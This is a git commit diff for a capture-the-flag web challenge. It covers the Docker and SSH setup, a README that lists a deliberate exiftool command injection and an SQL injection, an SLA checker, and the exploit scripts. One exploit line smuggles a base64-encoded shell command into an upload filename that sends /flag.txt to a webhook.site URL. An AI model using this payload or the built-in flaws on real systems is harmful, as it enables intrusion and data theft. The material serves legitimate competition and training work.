rev blogpost
This commit is contained in:
1 parent
6c5b9cfc24
commit
3857f0bdc0
36 files changed
+398
-43
No files matched your search
@@ -1,21 +1,62 @@
|
|||||||
FROM python:3.11-slim
|
# Dockerfile
|
||||||
|
FROM python:3.11-slim-bullseye
|
||||||
|
|
||||||
RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y \
|
# Build-time args
|
||||||
libimage-exiftool-perl \
|
ARG PASSWORD
|
||||||
sqlite3 \
|
|
||||||
build-essential \
|
|
||||||
&& rm -rf /var/lib/apt/lists/*
|
|
||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
COPY requirements.txt /app/
|
# Prevent interactive prompts during apt installs
|
||||||
|
ENV DEBIAN_FRONTEND=noninteractive
|
||||||
|
ENV DB_PATH=/data/app.db
|
||||||
|
|
||||||
|
# Install packages we need (exiftool, sqlite3, sshd, build tools, editor)
|
||||||
|
RUN apt-get update && \
|
||||||
|
apt-get install -y --no-install-recommends \
|
||||||
|
libimage-exiftool-perl \
|
||||||
|
sqlite3 \
|
||||||
|
openssh-server \
|
||||||
|
build-essential \
|
||||||
|
bash \
|
||||||
|
nano \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
# Create an unprivileged user for running the app / SSH access
|
||||||
|
RUN useradd -m -d /home/ctfuser -s /bin/bash ctfuser \
|
||||||
|
&& if [ -n "${PASSWORD}" ]; then echo "ctfuser:${PASSWORD}" | chpasswd; fi
|
||||||
|
|
||||||
|
# Copy application and requirements
|
||||||
|
COPY chall/requirements.txt /app/
|
||||||
RUN pip install --no-cache-dir -r /app/requirements.txt
|
RUN pip install --no-cache-dir -r /app/requirements.txt
|
||||||
|
|
||||||
COPY . /app
|
COPY chall/ .
|
||||||
RUN chmod +x /app/entrypoint.sh
|
|
||||||
|
|
||||||
RUN mkdir -p /data /app/uploads
|
# Ensure entrypoint exists and is executable (keeps your existing entrypoint.sh)
|
||||||
|
RUN chmod +x /app/entrypoint.sh || true
|
||||||
|
|
||||||
|
# Create needed directories and set permissions
|
||||||
|
RUN mkdir -p /data /app/uploads /run/sshd /notes \
|
||||||
|
&& chown -R ctfuser:ctfuser /app /app/uploads /notes \
|
||||||
|
&& chmod 755 /app \
|
||||||
|
&& chmod 777 /app/uploads
|
||||||
|
# (intentionally NOT chowning /data here; we’ll fix /data at runtime in case it’s a bind mount)
|
||||||
|
|
||||||
|
# Create the flag file with safe perms (will be overwritten at runtime if FLAG is set)
|
||||||
|
RUN touch /flag.txt && chown root:root /flag.txt && chmod 644 /flag.txt
|
||||||
|
|
||||||
|
# Configure basic sshd options
|
||||||
|
RUN echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config && \
|
||||||
|
echo "PermitRootLogin no" >> /etc/ssh/sshd_config && \
|
||||||
|
echo "AllowUsers ctfuser" >> /etc/ssh/sshd_config && \
|
||||||
|
echo "PermitEmptyPasswords no" >> /etc/ssh/sshd_config
|
||||||
|
|
||||||
|
# Generate host keys and make sure /run/sshd exists
|
||||||
|
RUN ssh-keygen -A || true
|
||||||
|
RUN mkdir -p /run/sshd && chmod 755 /run/sshd
|
||||||
|
|
||||||
|
# Expose app and ssh ports
|
||||||
EXPOSE 8000
|
EXPOSE 8000
|
||||||
|
EXPOSE 22
|
||||||
|
|
||||||
|
USER root
|
||||||
CMD ["/app/entrypoint.sh"]
|
CMD ["/app/entrypoint.sh"]
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
## Blogpost
|
||||||
|
|
||||||
|
db used: sqlite
|
||||||
|
flag.txt: GEMASTIK{random sha256 generated on app start}
|
||||||
|
|
||||||
|
feature:
|
||||||
|
[authentication required with login and register, register default as "user" role]
|
||||||
|
1. search feature
|
||||||
|
2. create, edit, visit post form that can upload images (png, jpg/jpeg, bmp) query the image metadata taken with exiftool to the sqlite database
|
||||||
|
3. profile (if the account type is admin, render the content of flag.txt)
|
||||||
|
|
||||||
|
vuln1: Command injection on exiftool (payload: exp1.py)
|
||||||
|
vuln2: SQLi on image metadata to enable altering user account into admin account (payload: sqli.png, exp2.py)
|
||||||
|
|
||||||
|
patching rules?:
|
||||||
@@ -10,7 +10,7 @@ from markupsafe import escape as m_escape
|
|||||||
APP_DIR = os.path.dirname(os.path.abspath(__file__))
|
APP_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||||
UPLOAD_FOLDER = os.path.join(APP_DIR, "uploads")
|
UPLOAD_FOLDER = os.path.join(APP_DIR, "uploads")
|
||||||
DB_PATH = "/data/app.db"
|
DB_PATH = "/data/app.db"
|
||||||
FLAG_PATH = "/app/flag.txt"
|
FLAG_PATH = "/flag.txt"
|
||||||
|
|
||||||
ALLOWED_EXT = {'png', 'jpg', 'jpeg', 'bmp'}
|
ALLOWED_EXT = {'png', 'jpg', 'jpeg', 'bmp'}
|
||||||
|
|
||||||
File renamed without changes.
@@ -0,0 +1,67 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
umask 002 # so group-writable files end up 664 and dirs 775 (good for volumes)
|
||||||
|
|
||||||
|
APP_DIR="/app"
|
||||||
|
UPLOADS_DIR="${APP_DIR}/uploads"
|
||||||
|
DATA_DIR="/data"
|
||||||
|
DBFILE="${DATA_DIR}/app.db"
|
||||||
|
INIT_SQL="${APP_DIR}/init_db.sql"
|
||||||
|
FLAG_FILE="/flag.txt"
|
||||||
|
|
||||||
|
# Create required dirs
|
||||||
|
mkdir -p "${UPLOADS_DIR}" "${DATA_DIR}"
|
||||||
|
|
||||||
|
# Try to ensure runtime ownership (works for named volumes; bind-mounts may ignore)
|
||||||
|
chown -R ctfuser:ctfuser "${UPLOADS_DIR}" "${APP_DIR}" 2>/dev/null || true
|
||||||
|
chown -R ctfuser:ctfuser "${DATA_DIR}" 2>/dev/null || true
|
||||||
|
|
||||||
|
# Minimum perms so SQLite can create -wal/-shm alongside the DB
|
||||||
|
chmod 775 "${DATA_DIR}" || true
|
||||||
|
chmod 775 "${UPLOADS_DIR}" || true
|
||||||
|
|
||||||
|
# Initialize database as ctfuser so the file is owned/writable by the app user
|
||||||
|
if [ ! -f "${DBFILE}" ]; then
|
||||||
|
echo "Initializing database at ${DBFILE}..."
|
||||||
|
# ensure parent dir writable
|
||||||
|
if [ ! -w "${DATA_DIR}" ]; then
|
||||||
|
echo "WARN: ${DATA_DIR} is not writable by root; continuing…"
|
||||||
|
fi
|
||||||
|
# create empty DB as ctfuser (so ownership is correct), then run schema
|
||||||
|
su -s /bin/bash -c "touch '${DBFILE}'" ctfuser || true
|
||||||
|
# permissions suitable for SQLite + group access
|
||||||
|
chmod 664 "${DBFILE}" || true
|
||||||
|
# run schema if present
|
||||||
|
if [ -f "${INIT_SQL}" ]; then
|
||||||
|
su -s /bin/bash -c "sqlite3 '${DBFILE}' < '${INIT_SQL}'" ctfuser
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# (Optional) If your host FS hates WAL, uncomment these lines to switch to DELETE mode on first run
|
||||||
|
# su -s /bin/bash -c "sqlite3 '${DBFILE}' 'PRAGMA journal_mode=DELETE; PRAGMA synchronous=NORMAL;'" ctfuser || true
|
||||||
|
|
||||||
|
# Environment for Flask (your app still runs via python app.py)
|
||||||
|
export FLASK_APP="${APP_DIR}/app.py"
|
||||||
|
export FLASK_ENV=production
|
||||||
|
|
||||||
|
# Start SSH (Debian slim may not have full init; fall back to raw sshd)
|
||||||
|
if command -v service >/dev/null 2>&1; then
|
||||||
|
service ssh start || /usr/sbin/sshd &
|
||||||
|
else
|
||||||
|
/usr/sbin/sshd &
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Handle flag (keep owned by root, world-readable OK for CTF unless you want to restrict)
|
||||||
|
if [ "${FLAG:-}" != "" ]; then
|
||||||
|
echo "$FLAG" > "${FLAG_FILE}"
|
||||||
|
chown root:root "${FLAG_FILE}" || true
|
||||||
|
chmod 644 "${FLAG_FILE}" || true
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "Starting Flask app (port 8000) as ctfuser…"
|
||||||
|
# Final sanity: make sure runtime dirs stay writable for WAL/SHM/uploads
|
||||||
|
chmod g+w "${DATA_DIR}" "${UPLOADS_DIR}" 2>/dev/null || true
|
||||||
|
|
||||||
|
# Exec the app as ctfuser
|
||||||
|
exec su -s /bin/bash -c "cd '${APP_DIR}' && python3 app.py" ctfuser
|
||||||
File renamed without changes.
@@ -1,3 +1,3 @@
|
|||||||
Flask==2.2.5
|
Flask==2.2.5
|
||||||
werkzeug==2.2.3
|
werkzeug==2.2.3
|
||||||
Jinja2==3.1.2
|
Jinja2==3.1.2
|
||||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
Vendored
BIN
Binary file not shown.
@@ -1,10 +1,14 @@
|
|||||||
version: '3.8'
|
|
||||||
services:
|
services:
|
||||||
blogpost:
|
blogpost_service:
|
||||||
build: .
|
|
||||||
container_name: blogpost_container
|
container_name: blogpost_container
|
||||||
|
hostname: blogpost
|
||||||
|
restart: always
|
||||||
|
build:
|
||||||
|
context: .
|
||||||
|
args:
|
||||||
|
- PASSWORD=root
|
||||||
ports:
|
ports:
|
||||||
- "10000:8000"
|
- "4400:8000"
|
||||||
|
- "4422:22"
|
||||||
environment:
|
environment:
|
||||||
- FLASK_ENV=production
|
- FLAG=GEMASTIK{fake_flag}
|
||||||
command: ["/app/entrypoint.sh"]
|
|
||||||
@@ -1,22 +0,0 @@
|
|||||||
#!/usr/bin/env bash
|
|
||||||
set -e
|
|
||||||
|
|
||||||
FLAG_SHA=$(head -c 64 /dev/urandom | sha256sum | awk '{print $1}')
|
|
||||||
FLAG="GEMASTIK{${FLAG_SHA}}"
|
|
||||||
echo "$FLAG" > /app/flag.txt
|
|
||||||
chmod 400 /app/flag.txt
|
|
||||||
|
|
||||||
mkdir -p /app/uploads
|
|
||||||
mkdir -p /data
|
|
||||||
|
|
||||||
DBFILE=/data/app.db
|
|
||||||
if [ ! -f "$DBFILE" ]; then
|
|
||||||
echo "Initializing database..."
|
|
||||||
sqlite3 $DBFILE < /app/init_db.sql
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "Starting Flask app (port 8000)..."
|
|
||||||
export FLASK_APP=/app/app.py
|
|
||||||
export FLASK_ENV=production
|
|
||||||
|
|
||||||
python /app/app.py
|
|
||||||
@@ -4,7 +4,7 @@ from pathlib import Path
|
|||||||
import random
|
import random
|
||||||
import string
|
import string
|
||||||
|
|
||||||
HOST = "http://localhost:4413"
|
HOST = "http://localhost:4400"
|
||||||
REGISTER_URL = HOST + "/register"
|
REGISTER_URL = HOST + "/register"
|
||||||
LOGIN_URL = HOST + "/login"
|
LOGIN_URL = HOST + "/login"
|
||||||
CREATE_URL = HOST + "/create"
|
CREATE_URL = HOST + "/create"
|
||||||
@@ -19,7 +19,7 @@ def generate_random_string(length=8):
|
|||||||
USERNAME = generate_random_string()
|
USERNAME = generate_random_string()
|
||||||
PASSWORD = generate_random_string()
|
PASSWORD = generate_random_string()
|
||||||
# choose payload variant: either use subshell $() or backticks `...`
|
# choose payload variant: either use subshell $() or backticks `...`
|
||||||
filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS8yNjcxZjg2Zi0xN2U4LTRiNDQtODFkYS00YWQ2ZDUyMTA0OWQnLCBkYXRhPW9wZW4oJ2ZsYWcudHh0JywgJ3JiJykucmVhZCgpKSI=' | base64 -d | bash;#.jpg"
|
filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hMmJlOTU2NS0zZGZhLTRjZmEtODAyYy01NDk4NTI5ZTViMGYnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
|
||||||
|
|
||||||
# choose which to use:
|
# choose which to use:
|
||||||
filename_payload = filename_payload # or payload_backticks
|
filename_payload = filename_payload # or payload_backticks
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ from pathlib import Path
|
|||||||
|
|
||||||
print("SQLi (VULN 2) Exploit")
|
print("SQLi (VULN 2) Exploit")
|
||||||
|
|
||||||
HOST = "http://localhost:4413"
|
HOST = "http://localhost:4400"
|
||||||
REGISTER_URL = HOST + "/register"
|
REGISTER_URL = HOST + "/register"
|
||||||
LOGIN_URL = HOST + "/login"
|
LOGIN_URL = HOST + "/login"
|
||||||
CREATE_URL = HOST + "/create"
|
CREATE_URL = HOST + "/create"
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 1012 KiB After Width: | Height: | Size: 1012 KiB |
@@ -0,0 +1,250 @@
|
|||||||
|
import io
|
||||||
|
import re
|
||||||
|
import time
|
||||||
|
import json
|
||||||
|
import base64
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
import logging
|
||||||
|
import subprocess
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
import requests
|
||||||
|
from PIL import Image # pillow for tiny PNG generation
|
||||||
|
|
||||||
|
from .Challenge import Challenge
|
||||||
|
|
||||||
|
|
||||||
|
class WebAppSLA(Challenge):
|
||||||
|
"""
|
||||||
|
SLA checker for the provided Flask challenge app.
|
||||||
|
|
||||||
|
Assumptions / Defaults (override as needed):
|
||||||
|
- Service listens on self.port (inherited)
|
||||||
|
- Container name is 'chal_app' (override via self.container_name)
|
||||||
|
- Flag lives in '/app/flag.txt' inside container
|
||||||
|
- Login flow at /login, register at /register
|
||||||
|
- Create post at /create, view post at /post/<id>, uploads at /uploads/<file>
|
||||||
|
"""
|
||||||
|
flag_location = 'flags/webapp.txt' # Host copy (used by your orchestrator)
|
||||||
|
history_location = 'history/webapp.txt'
|
||||||
|
container_flag_path = '/app/flag.txt'
|
||||||
|
container_name = 'chal_app' # <-- set to your actual container name
|
||||||
|
|
||||||
|
# Heuristics to recognize ExifTool output
|
||||||
|
_exif_markers = (
|
||||||
|
'ExifTool Version Number',
|
||||||
|
'File Name',
|
||||||
|
'File Size',
|
||||||
|
'MIME Type',
|
||||||
|
'File Type',
|
||||||
|
)
|
||||||
|
|
||||||
|
def _make_logger(self):
|
||||||
|
if not hasattr(self, 'logger') or self.logger is None:
|
||||||
|
self.logger = logging.getLogger(self.__class__.__name__)
|
||||||
|
if not self.logger.handlers:
|
||||||
|
h = logging.StreamHandler()
|
||||||
|
h.setFormatter(logging.Formatter('[%(levelname)s] %(message)s'))
|
||||||
|
self.logger.addHandler(h)
|
||||||
|
self.logger.setLevel(logging.INFO)
|
||||||
|
|
||||||
|
# --- Flag distribution hook (optional, mirrors your example) ---
|
||||||
|
def distribute(self, flag: str) -> bool:
|
||||||
|
"""
|
||||||
|
Writes/records the current flag on the host. Your infra may separately
|
||||||
|
mount/copy it into the container; this class *also* verifies existence
|
||||||
|
inside the container during .check().
|
||||||
|
"""
|
||||||
|
self._make_logger()
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
self.logger.info(f"Flag '{flag}' written to {self.flag_location}")
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f"Failed writing host flag: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# --- Helpers ---
|
||||||
|
def _gen_username(self) -> str:
|
||||||
|
return "user_" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
|
||||||
|
|
||||||
|
def _gen_password(self) -> str:
|
||||||
|
return "Pw!" + ''.join(random.choices(string.ascii_letters + string.digits, k=10))
|
||||||
|
|
||||||
|
def _tiny_png_bytes(self) -> bytes:
|
||||||
|
"""
|
||||||
|
Generate a minimal valid PNG in-memory to trigger exiftool.
|
||||||
|
"""
|
||||||
|
img = Image.new("RGB", (2, 2), (123, 200, 50))
|
||||||
|
buf = io.BytesIO()
|
||||||
|
img.save(buf, format="PNG")
|
||||||
|
return buf.getvalue()
|
||||||
|
|
||||||
|
def _docker_exec(self, args: list[str], timeout: int = 10) -> subprocess.CompletedProcess:
|
||||||
|
"""
|
||||||
|
Run `docker exec` into the challenge container.
|
||||||
|
"""
|
||||||
|
return subprocess.run(
|
||||||
|
["docker", "exec", self.container_name] + args,
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
timeout=timeout
|
||||||
|
)
|
||||||
|
|
||||||
|
# --- SLA core ---
|
||||||
|
def check(self) -> bool:
|
||||||
|
self._make_logger()
|
||||||
|
base_url = f"http://localhost:{self.port}"
|
||||||
|
s = requests.Session()
|
||||||
|
|
||||||
|
# 0) Liveness: login page should be reachable (no auth needed)
|
||||||
|
login_url = base_url + "/login"
|
||||||
|
self.logger.info(f"[1/7] Checking liveness at {login_url} ...")
|
||||||
|
try:
|
||||||
|
r = s.get(login_url, timeout=10)
|
||||||
|
assert r.status_code == 200, f"Login page HTTP {r.status_code}"
|
||||||
|
self.logger.info(" ✓ Login page reachable")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f" ✗ Liveness check failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# 1) Register a fresh user
|
||||||
|
self.logger.info("[2/7] Registering a fresh user ...")
|
||||||
|
username = self._gen_username()
|
||||||
|
password = self._gen_password()
|
||||||
|
try:
|
||||||
|
r = s.post(
|
||||||
|
base_url + "/register",
|
||||||
|
data={"username": username, "password": password},
|
||||||
|
allow_redirects=False,
|
||||||
|
timeout=10,
|
||||||
|
)
|
||||||
|
# Flask typically redirects to /login on success (302)
|
||||||
|
assert r.status_code in (200, 302, 303), f"Register HTTP {r.status_code}"
|
||||||
|
self.logger.info(f" ✓ Registered as {username}")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f" ✗ Registration failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# 2) Log in
|
||||||
|
self.logger.info("[3/7] Logging in ...")
|
||||||
|
try:
|
||||||
|
r = s.post(
|
||||||
|
base_url + "/login",
|
||||||
|
data={"username": username, "password": password},
|
||||||
|
allow_redirects=True,
|
||||||
|
timeout=10,
|
||||||
|
)
|
||||||
|
# Successful login should redirect or render index; ensure not bounced back to /login with "Invalid credentials"
|
||||||
|
assert r.status_code == 200, f"Login HTTP {r.status_code}"
|
||||||
|
assert "/login" not in r.url or "Invalid credentials" not in r.text
|
||||||
|
self.logger.info(" ✓ Logged in")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f" ✗ Login failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# 3) Create post with image upload (PNG) to trigger exiftool + DB write
|
||||||
|
self.logger.info("[4/7] Creating a post with image upload ...")
|
||||||
|
title = "SLA Post " + ''.join(random.choices(string.ascii_letters, k=6))
|
||||||
|
content = "hello_from_sla_checker"
|
||||||
|
png_bytes = self._tiny_png_bytes()
|
||||||
|
files = {
|
||||||
|
"image": ("probe.png", png_bytes, "image/png")
|
||||||
|
}
|
||||||
|
data = {"title": title, "content": content}
|
||||||
|
try:
|
||||||
|
r = s.post(base_url + "/create", files=files, data=data, allow_redirects=True, timeout=20)
|
||||||
|
assert r.status_code == 200, f"Create returned HTTP {r.status_code}"
|
||||||
|
self.logger.info(" ✓ Post created")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f" ✗ Create post failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# 4) Discover the newly created post id by scraping links like /post/<id> from index
|
||||||
|
self.logger.info("[5/7] Resolving new post id from index ...")
|
||||||
|
try:
|
||||||
|
r = s.get(base_url + "/", timeout=10)
|
||||||
|
assert r.status_code == 200, f"Index HTTP {r.status_code}"
|
||||||
|
# Find the most recent /post/<id> that likely corresponds to our post title
|
||||||
|
# First try to find blocks containing our title then pull an id:
|
||||||
|
post_id: Optional[int] = None
|
||||||
|
# Prefer links sitting near our title
|
||||||
|
title_blocks = [m.start() for m in re.finditer(re.escape(title), r.text)]
|
||||||
|
if title_blocks:
|
||||||
|
# Search backward/forward around the title occurrences for a /post/<num> link
|
||||||
|
for pos in title_blocks:
|
||||||
|
window = r.text[max(0, pos-1000):pos+1000]
|
||||||
|
m = re.search(r'/post/(\d+)', window)
|
||||||
|
if m:
|
||||||
|
post_id = int(m.group(1))
|
||||||
|
break
|
||||||
|
# Fallback: pick the first /post/<id> in the page
|
||||||
|
if post_id is None:
|
||||||
|
m = re.search(r'/post/(\d+)', r.text)
|
||||||
|
assert m, "No /post/<id> link found on index"
|
||||||
|
post_id = int(m.group(1))
|
||||||
|
|
||||||
|
self.logger.info(f" ✓ Resolved post id = {post_id}")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f" ✗ Could not resolve post id: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# 5) Visit the post page, confirm it renders and contains our title/content.
|
||||||
|
self.logger.info("[6/7] Visiting the post page ...")
|
||||||
|
try:
|
||||||
|
vp = s.get(base_url + f"/post/{post_id}", timeout=10)
|
||||||
|
assert vp.status_code == 200, f"Post page HTTP {vp.status_code}"
|
||||||
|
assert title in vp.text, "Post title not present on view page"
|
||||||
|
assert content in vp.text, "Post content not present on view page"
|
||||||
|
self.logger.info(" ✓ Post page renders with our content")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f" ✗ View post failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# 6) Locate the uploaded file link on the post page, then fetch the .meta file via /uploads/<file>.meta
|
||||||
|
self.logger.info("[7/7] Verifying ExifTool metadata persisted & accessible ...")
|
||||||
|
try:
|
||||||
|
# Find something like /uploads/<sha256>.png (or .jpg/.jpeg/.bmp)
|
||||||
|
m = re.search(r'/uploads/([A-Za-z0-9_.-]+\.(?:png|jpg|jpeg|bmp))', vp.text, flags=re.IGNORECASE)
|
||||||
|
assert m, "No uploaded image link found on post page"
|
||||||
|
image_name = m.group(1)
|
||||||
|
# The server stores metadata in a sibling file with .meta suffix; it is served by the same /uploads route.
|
||||||
|
meta_url = base_url + f"/uploads/{image_name}.meta"
|
||||||
|
mr = s.get(meta_url, timeout=10)
|
||||||
|
assert mr.status_code == 200, f"Meta file HTTP {mr.status_code}"
|
||||||
|
meta_text = mr.text.strip()
|
||||||
|
# Heuristic: expect at least one ExifTool-like marker
|
||||||
|
assert any(tag in meta_text for tag in self._exif_markers), "Meta file does not look like ExifTool output"
|
||||||
|
self.logger.info(" ✓ Exif metadata present and readable")
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f" ✗ Metadata verification failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# 7) Flag existence in container (do not fail SLA if only host copy exists but container is missing—treat as warning or policy-driven)
|
||||||
|
try:
|
||||||
|
proc = self._docker_exec(["/bin/sh", "-lc", f"test -f {self.container_flag_path} && cat {self.container_flag_path} || echo __MISSING__"])
|
||||||
|
out = (proc.stdout or "").strip()
|
||||||
|
if "__MISSING__" in out or proc.returncode not in (0,):
|
||||||
|
self.logger.warning("⚠ Flag file missing inside container")
|
||||||
|
else:
|
||||||
|
self.logger.info(" ✓ Container flag present")
|
||||||
|
# Optional: compare with host flag if present
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, "r") as f:
|
||||||
|
host_flag = f.read().strip()
|
||||||
|
if host_flag and host_flag == out:
|
||||||
|
self.logger.info(" ✓ Host and container flags match")
|
||||||
|
else:
|
||||||
|
self.logger.warning("⚠ Host/container flag mismatch (may be expected if rotated separately)")
|
||||||
|
except FileNotFoundError:
|
||||||
|
self.logger.warning("⚠ Host flag not found; skipping comparison")
|
||||||
|
except Exception as e:
|
||||||
|
# Non-fatal: you can tune this to fail the round if flag is mandatory.
|
||||||
|
self.logger.warning(f"Flag existence check encountered an issue: {e}")
|
||||||
|
|
||||||
|
self.logger.info("SLA check passed ✅")
|
||||||
|
return True
|
||||||
Vendored
BIN
Binary file not shown.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
Reference in new issue
Block a user